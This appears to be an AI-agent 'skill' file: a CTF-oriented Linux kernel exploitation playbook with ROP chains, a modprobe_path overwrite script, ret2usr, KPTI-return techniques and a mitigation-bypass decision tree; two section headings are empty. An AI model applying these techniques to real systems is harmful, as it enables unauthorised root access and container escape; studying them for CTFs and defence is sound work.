SKILL: Linux Kernel Exploitation — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert kernel exploitation techniques. Covers environment setup (QEMU), vulnerability classes, privilege escalation targets, kernel ROP, ret2usr, stack pivoting, and cross-cache attacks. Distilled from ctf-wiki kernel-mode sections and real-world kernel CVEs. Base models often confuse user-mode and kernel-mode exploitation constraints, especially regarding SMEP/SMAP/KPTI.

0. RELATED ROUTING

• binary-protection-bypass — userspace protections (NX, ASLR) also apply in kernel context
• stack-overflow-and-rop — kernel ROP reuses many userspace ROP concepts
• heap-exploitation — kernel SLUB is conceptually related to userspace heap
• linux-privilege-escalation — non-exploit kernel privesc techniques

Advanced References

• KERNEL_MITIGATION_BYPASS.md — KASLR, SMEP, SMAP, KPTI, FG-KASLR, CFI bypass techniques
• KERNEL_HEAP_TECHNIQUES.md — SLUB internals, cross-cache attacks, msg_msg/pipe_buffer/sk_buff exploitation

1. EXPLOITATION MODEL

┌─────────────────────────────────────────────────────┐
│  1. Find Vulnerability                              │
│     (UAF, OOB, race, integer overflow, type confusion)│
├─────────────────────────────────────────────────────┤
│  2. Build Primitive                                 │
│     (arbitrary read, arbitrary write, controlled RIP)│
├─────────────────────────────────────────────────────┤
│  3. Bypass Mitigations                              │
│     (KASLR, SMEP, SMAP, KPTI)                     │
├─────────────────────────────────────────────────────┤
│  4. Escalate Privileges                             │
│     (commit_creds, modprobe_path, namespace escape)  │
├─────────────────────────────────────────────────────┤
│  5. Return to Userspace Cleanly                     │
│     (KPTI trampoline, iretq/sysretq, swapgs)       │
└─────────────────────────────────────────────────────┘

2. ENVIRONMENT SETUP

QEMU + Custom Kernel

# Download and compile kernel
wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz
tar xf linux-6.1.tar.xz && cd linux-6.1
make defconfig
# Disable mitigations for easier debugging:
scripts/config --disable RANDOMIZE_BASE      # KASLR
scripts/config --disable RANDOMIZE_LAYOUT    # FG-KASLR
scripts/config --enable DEBUG_INFO
make -j$(nproc)

# Boot with QEMU
qemu-system-x86_64 \
  -kernel bzImage \
  -initrd rootfs.cpio.gz \
  -append "console=ttyS0 nokaslr quiet" \
  -nographic \
  -s -S \    # GDB server on :1234, pause at start
  -monitor /dev/null \
  -m 256M \
  -cpu kvm64,+smep,+smap

GDB Debugging

gdb vmlinux
target remote :1234
# Load kernel symbols
add-symbol-file vmlinux 0xffffffff81000000  # typical .text base
# Breakpoints
b commit_creds
b *0xffffffff81234567
# pwndbg/GEF work with kernel debugging

initramfs Modification

mkdir rootfs && cd rootfs
cpio -idmv < ../rootfs.cpio.gz
# Edit init script, add exploit binary
cp /path/to/exploit ./
# Repack
find . | cpio -o --format=newc | gzip > ../rootfs.cpio.gz

3. COMMON VULNERABILITY TYPES

4. PRIVILEGE ESCALATION TARGETS

Method 1: commit_creds(prepare_kernel_cred(0))

// Kernel function that sets current process credentials to root
void (*commit_creds)(void *) = COMMIT_CREDS_ADDR;
void *(*prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR;
commit_creds(prepare_kernel_cred(0));  // cred with uid=0, gid=0

Kernel ROP chain equivalent:

pop rdi; ret
0                          # NULL → prepare_kernel_cred(NULL) = init_cred
prepare_kernel_cred addr
mov rdi, rax; ... ; ret    # or pop rdi + known location
commit_creds addr
kpti_trampoline / swapgs+iretq  # return to userspace

Method 2: modprobe_path Overwrite

// modprobe_path = "/sbin/modprobe" in kernel .data
// Overwrite to "/tmp/x" → trigger with unknown binary format → kernel runs /tmp/x as root

# Setup:
echo '#!/bin/sh' > /tmp/x
echo 'cp /flag /tmp/flag && chmod 777 /tmp/flag' >> /tmp/x
chmod +x /tmp/x
# Trigger (unknown binary format):
echo -ne '\xff\xff\xff\xff' > /tmp/dummy
chmod +x /tmp/dummy
/tmp/dummy  # kernel calls modprobe_path → /tmp/x runs as root

Method 3: cred Structure Direct Overwrite

If you can find the current task's cred pointer and have arbitrary write, directly zero out uid/gid fields in the cred structure.

Method 4: Namespace Escape (Containers)

Overwrite init_nsproxy or manipulate namespace pointers to escape container isolation.

5. KERNEL ROP

Controlled RIP Sources

seq_operations Hijack (Common CTF Pattern)

struct seq_operations {
    void * (*start)(struct seq_file *, loff_t *);
    void (*stop)(struct seq_file *, void *);
    void * (*next)(struct seq_file *, void *, loff_t *);
    int (*show)(struct seq_file *, void *);
};
// Size: 0x20 (fits in kmalloc-32)
// Open /proc/self/stat → allocates seq_operations
// UAF overwrite start → controlled RIP when read() is called

Stack Pivoting in Kernel

Important: After SMEP, cannot execute userspace code. ROP chain must use kernel gadgets only.

6. ret2usr (Pre-SMEP)

Directly call a userspace function from kernel context:

void escalate() {
    commit_creds(prepare_kernel_cred(0));
}
// Overwrite kernel function pointer to point to escalate() in user memory

Blocked by: SMEP (Supervisor Mode Execution Prevention) — kernel cannot execute user-mapped pages.

7. RETURNING TO USERSPACE

After privilege escalation in kernel, must return cleanly to userspace to get a root shell.

Via iretq (Traditional)

; ROP chain ending:
swapgs                     ; swap GS base back to userspace
iretq                      ; pops: RIP, CS, RFLAGS, RSP, SS from stack
; Stack must contain: [user_rip][user_cs][user_rflags][user_rsp][user_ss]

# Save userspace state before entering kernel
user_cs = 0x33
user_ss = 0x2b
user_rflags = # saved via pushfq before exploit
user_rsp = # saved RSP
user_rip = # address of post-exploit function (e.g., get_shell)

Via KPTI Trampoline (When KPTI Enabled)

KPTI separates kernel/user page tables. Direct swapgs; iretq crashes because user pages aren't mapped. Use the kernel's own return trampoline:

# KPTI trampoline (in kernel at known offset):
# swapgs_restore_regs_and_return_to_usermode:
#   mov rdi, rsp
#   ...
#   swapgs
#   iretq
# Jump to trampoline with [RIP, CS, RFLAGS, RSP, SS] on stack

Via signal Handler Return

Set up a signal handler before exploit. After commit_creds, trigger the signal → return to userspace via signal handler (avoids manual swapgs/iretq).

8. QEMU DEBUGGING TIPS

9. DECISION TREE

Kernel vulnerability identified
├── What type?
│   ├── UAF → identify freed object, spray replacement (see KERNEL_HEAP_TECHNIQUES)
│   ├── OOB → determine read/write range, target adjacent objects
│   ├── Race condition → reliable trigger (userfaultfd, FUSE)
│   ├── Integer overflow → how does it translate to OOB or allocation confusion?
│   └── Type confusion → what can the confused type access?
│
├── Build primitive
│   ├── Controlled RIP? → kernel ROP or ret2usr (if no SMEP)
│   ├── Arbitrary read? → leak KASLR base, then controlled RIP
│   ├── Arbitrary write? → modprobe_path overwrite (simplest)
│   │                      or overwrite cred structure directly
│   └── Limited write? → target function pointer in known object
│
├── Mitigations (see KERNEL_MITIGATION_BYPASS.md)
│   ├── KASLR → need info leak first (/proc/kallsyms if readable, timing, or OOB read)
│   ├── SMEP → kernel ROP only (no user code exec)
│   ├── SMAP → cannot read user data from kernel (use copy_from_user gadget)
│   ├── KPTI → use KPTI trampoline for clean return
│   └── FG-KASLR → function offsets randomized (use data section targets like modprobe_path)
│
├── Escalation method
│   ├── Have controlled RIP + KASLR bypass → ROP chain: prepare_kernel_cred(0) → commit_creds
│   ├── Have arbitrary write only → modprobe_path overwrite
│   ├── Have arbitrary write + KASLR bypass → overwrite cred uid/gid to 0
│   └── Have controlled function call → call commit_creds(prepare_kernel_cred(0))
│
└── Return to userspace
    ├── KPTI disabled → swapgs; iretq (ROP ending)
    ├── KPTI enabled → jump to KPTI trampoline
    └── Alternative → signal handler + process_one_work return path